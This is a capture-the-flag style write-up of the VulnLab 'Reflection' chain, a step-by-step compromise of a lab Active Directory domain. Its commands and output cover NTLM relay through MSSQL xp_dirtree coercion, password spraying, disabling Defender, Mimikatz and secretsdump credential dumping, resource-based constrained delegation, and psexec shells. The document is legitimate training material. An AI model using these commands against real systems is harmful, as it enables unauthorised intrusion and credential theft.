VulnLab - Reflection Writeup

Liam Geyer

👾 Machine Overview

Thumbnail

This is a writeup of the chain Reflection from VulnLab , it’s a medium difficulty chain which featured RBCD, MSSQL, credential reuse, and more.

🔍 Enumeration

An initial nmap scan of the hosts gave the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
nmap -sV -sC -Pn 10.10.188.229-231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 16:40 EDT
Stats: 0:02:50 elapsed; 0 hosts completed (3 up), 3 undergoing Connect Scan
Connect Scan Timing: About 26.22% done; ETC: 16:51 (0:07:58 remaining)
Stats: 0:05:37 elapsed; 0 hosts completed (3 up), 3 undergoing Connect Scan
Connect Scan Timing: About 99.60% done; ETC: 16:46 (0:00:01 remaining)
Nmap scan report for 10.10.188.229
Host is up (0.10s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-06 20:46:37Z)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 10.10.188.230
Host is up.
All 1000 scanned ports on 10.10.188.230 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap scan report for 10.10.188.231
Host is up.
All 1000 scanned ports on 10.10.188.231 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 360.75 seconds

My scans were being pretty funky for this chain, I ended up retrying it a few times to get different results, but didn’t save em all.

📂 SMB

I started off by checking for anonymous SMB on all three hosts. Only the second host MS01 had anything.

1
2
3
4
5
6
7
8
9
smbclient -N -L \\MS01.reflection.vl

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
staging Disk staging environment
SMB1 disabled -- no workgroup available

There’s a staging share of interest with a staging_db.conf file.

1
2
3
4
5
6
7
8
9
10
11
smbclient -N \\\\MS01.reflection.vl\\staging
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jun 7 13:42:48 2023
.. D 0 Wed Jun 7 13:41:25 2023
staging_db.conf A 50 Thu Jun 8 07:21:49 2023

6261245 blocks of size 4096. 1239990 blocks available
smb: \> get staging_db.conf
getting file \staging_db.conf of size 50 as staging_db.conf (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit

Inside the config file there’s creds for the web_staging user.

1
2
3
user=web_staging
password=[SNIPPED]
db=staging%

🧮 Staging DB

I started off by connecting to the DB on MS01 with the creds we found using Impacket’s mssqlclient.py.

1
mssqlclient.py reflection.vl/web_staging:[PASSWORD]@MS01.reflection.vl

First I checked out the available databases, and the server version.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SQL (web_staging  guest@master)> select @@version;
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Express Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (Build 20348: ) (Hypervisor)

SQL (web_staging guest@master)> SELECT name FROM master.dbo.sysdatabases;
name
-------
master

tempdb

model

msdb

staging

Next, I checked out the staging DB to see what tables it had.

1
2
3
4
SQL (web_staging  guest@msdb)> SELECT * FROM staging.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
staging dbo users b'BASE TABLE'

There’s a users table I decided to check out to see if it had any credentials we could reuse.

1
2
3
4
5
6
SQL (web_staging  dbo@staging)> select * from users;
id username password
-- -------- -------------
1 b'dev01' b'Initial123'

2 b'dev02' b'Initial123'

Since that wasn’t interesting, I tried to enable xp_cmdshell to get command execution, but that didn’t work.

I spun up responder and used xp_dirtree to coerce authentication, and I got a hash for the svc_web_staging account

Responder

I tried throwing this in hashcat, but it wouldn’t crack.

Since SMB signing was disabled, we should be able to use ntlmrelayx.

SMB Signing Disabled

I made a target file with a list of all 3 hosts, spun up ntlmrelayx, and ran xp_dirtree to coerce authentication.

xp_dirtree

1
ntlmrelayx.py -tf target.list -smb2support --interactive

🧮 Prod DB

That successfully got a session to DC01, allowing us to download prod_db.conf.

1
2
3
4
5
6
7
8
9
10
11
12
13
# shares
ADMIN$
C$
IPC$
NETLOGON
prod
SYSVOL
# use prod
# ls
drw-rw-rw- 0 Wed Jun 7 13:44:26 2023 .
drw-rw-rw- 0 Wed Jun 7 13:43:22 2023 ..
-rw-rw-rw- 45 Thu Jun 8 07:24:39 2023 prod_db.conf
# get prod_db.conf

The config file had credentials for the web_prod user, which we can use to connect to the production database on DC01

1
mssqlclient.py reflection.vl/web_prod:[SNIPPED]@DC01.reflection.vl

Here the DB looks very similar, except the users table contains real credentials for two users: aabie.smith and dorothy.rose.

I checked to confirm that the credentials worked, and sprayed a list of the credentials we’ve found across the users on the domain to check for password reuse.

1
nxc smb DC01.reflection.vl -u user.list -p pass.list --continue-on-success

Next, I ran Bloodhound as abbie.smith.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bloodhound-python -d reflection.vl -u abbie.smith -p '[PASSWORD]' -ns [DC IP] -c all
INFO: Found AD domain: reflection.vl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.reflection.vl:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.reflection.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc01.reflection.vl
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 3 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: ws01.reflection.vl
INFO: Querying computer: ms01.reflection.vl
INFO: Querying computer: dc01.reflection.vl
INFO: Done in 00M 19S

💻 MS01

Abbie has GenericAll over MS01, so I started by checking the MAQ to see if we could perform Resource Based Constrained Delegation (RBCD) .

1
2
3
4
5
nxc ldap DC01.reflection.vl -u dorothy.rose -p [PASSWORD] -M maq
SMB 10.10.188.229 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
LDAP 10.10.188.229 389 DC01 [+] reflection.vl\dorothy.rose:[SNIPPED]
MAQ 10.10.188.229 389 DC01 [*] Getting the MachineAccountQuota
MAQ 10.10.188.229 389 DC01 MachineAccountQuota: 0

Since the MAQ is 0, we’d need to compromise another machine account to perform RBCD. Instead, we can try using our GenericAll to read the LAPS password if it’s enabled.

1
2
3
4
5
nxc ldap DC01.reflection.vl -d "reflection.vl" -u "abbie.smith" -p "[PASS]" --module laps
SMB 10.10.188.229 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
LDAP 10.10.188.229 389 DC01 [+] reflection.vl\abbie.smith:[SNIPPED]
LAPS 10.10.188.229 389 DC01 [*] Getting LAPS Passwords
LAPS 10.10.188.229 389 DC01 Computer:MS01$ User: Password:[SNIPPED]

This got us local admin credentials to MS01, I used them to WinRM in and grab the first flag.

I used an SMB share to drop a sliver beacon, but they were getting nuked by defender. Next, I ran PrivEscCheck but didn’t see anything interesting.

I wanted to run Mimikatz, but it was getting stopped by defender. Since we’re local admin we can disable defender.

1
Set-MpPreference -DisableRealtimeMonitoring $true

From here, running Mimikatz I ran through a chunk of different options, eventually finding credentials for georgia.price in vault. This is because there’s a scheduled task running as Georgia, storing her credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
*Evil-WinRM* PS C:\Windows\Tasks> .\mimikatz.exe "token::elevate" "vault::cred /patch" "exit"

.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz(commandline) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

564 {0;000003e7} 1 D 27160 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;001436ad} 0 D 2466509 MS01\Administrator S-1-5-21-1123338414-2776126748-2899213862-500 (11g,24p) Primary
* Thread Token : {0;000003e7} 1 D 2491498 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)

mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{013CD3ED-72CB-4801-99D7-8E7CA1F7E370} / <NULL>
UserName : REFLECTION\Georgia.Price
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : [SNIPPED]
Attributes : 0


mimikatz(commandline) # exit
Bye!

I also tried running secretsdump, which got me access to credentials for svc_web_staging, and the hash for the MS01$ machine account.

1
secretsdump.py ./administrator:[PASS]@MS01

Georgia's GenericAll

Georgia has GenericAll over WS01, which we can now use for RBCD now that we have access to a machine account, MS01.

💻 Resource Based Constrained Delegation

We’ll first need to set the delegation property to allow MS01 to impersonate users against WS01, then we can request a ticket impersonating the administrator against WS01.

1
2
3
4
5
# RBCD
rbcd.py -delegate-from 'MS01$' -delegate-to 'WS01$' -action 'write' 'reflection.vl/georgia.price:[PASS]' -dc-ip [DC IP]

# impersonate
getST.py -spn 'cifs/WS01.reflection.vl' -impersonate 'Administrator' 'reflection/MS01$' -hashes [HASH FROM SECRETSDUMP] -dc-ip [DC IP]

Then, we can use secretsdump to dump credentials from WS01, for this all to work the full hostname needs to be set in /etc/hosts.

1
2
export KRB5CCNAME=./Administrator@[email protected]
secretsdump.py -k WS01.reflection.vl

This got us credentials for Rhys.Garner, and the WS01$ machine account.

I tried getting a shell as Rhys but wasn’t able to do so via evil-winrm, psexec, etc.

Atexec can be used to create a scheduled task that will disable defender, allowing us to use psexec to get a shell.

1
2
3
4
5
6
7
8
9
10
atexec.py -hashes :[SNIPPED]'ws01/[email protected]' 'powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring $true"'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] This will work ONLY on Windows >= Vista
[*] Creating task \DGXfRqNW
[*] Running task \DGXfRqNW
[*] Deleting task \DGXfRqNW
[*] Attempting to read ADMIN$\Temp\DGXfRqNW.tmp
[*] Attempting to read ADMIN$\Temp\DGXfRqNW.tmp
[*] Attempting to read ADMIN$\Temp\DGXfRqNW.tmp

Now with defender disabled, we can grab a shell as the local administrator on WS01, and grab the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
psexec.py -hashes :[SNIPPED]'ws01/[email protected]'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on WS01.reflection.vl.....
[*] Found writable share ADMIN$
[*] Uploading file DozGOxqK.exe
[*] Opening SVCManager on WS01.reflection.vl.....
[*] Creating service vkzH on WS01.reflection.vl.....
[*] Starting service vkzH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.2965]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

💻 Pivoting to the DC

WS01 ended up being pretty much useless. The end path comes from credential reuse by Rhys. Looking at the domain users, Rhys has a second account called dom_rgarner which is in the Domain Admins group.

dom_rgarner DA account

We can reuse his password on this account, I tested it using netexec.

1
2
3
nxc smb DC01.reflection.vl -d "reflection.vl" -u "DOM_RGARNER" -p "[PASS]"
SMB 10.10.246.21 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB 10.10.246.21 445 DC01 [+] reflection.vl\DOM_RGARNER:[PASS] (Pwn3d!)

This could also be discovered by running a new password spray on all domain users using the newly obtained credentials, which I’ve started to make more of a habit of.

We can WinRM in with these credentials to the DC and grab the flag, YIPPEE.

📖 Resources

🔗 Hyperlink ℹ️ Info
Cybersec Notes Machine Account Quota
Cybersec Notes Resource Based Constrained Delegation
  • Title: VulnLab - Reflection Writeup
  • Author: Liam Geyer
  • Created at : 2024-12-27 00:00:00
  • Updated at : 2024-12-27 22:33:29
  • Link: https://lfgberg.org/2024/12/27/vulnlab/reflection/
  • License: This work is licensed under CC BY-NC-SA 4.0.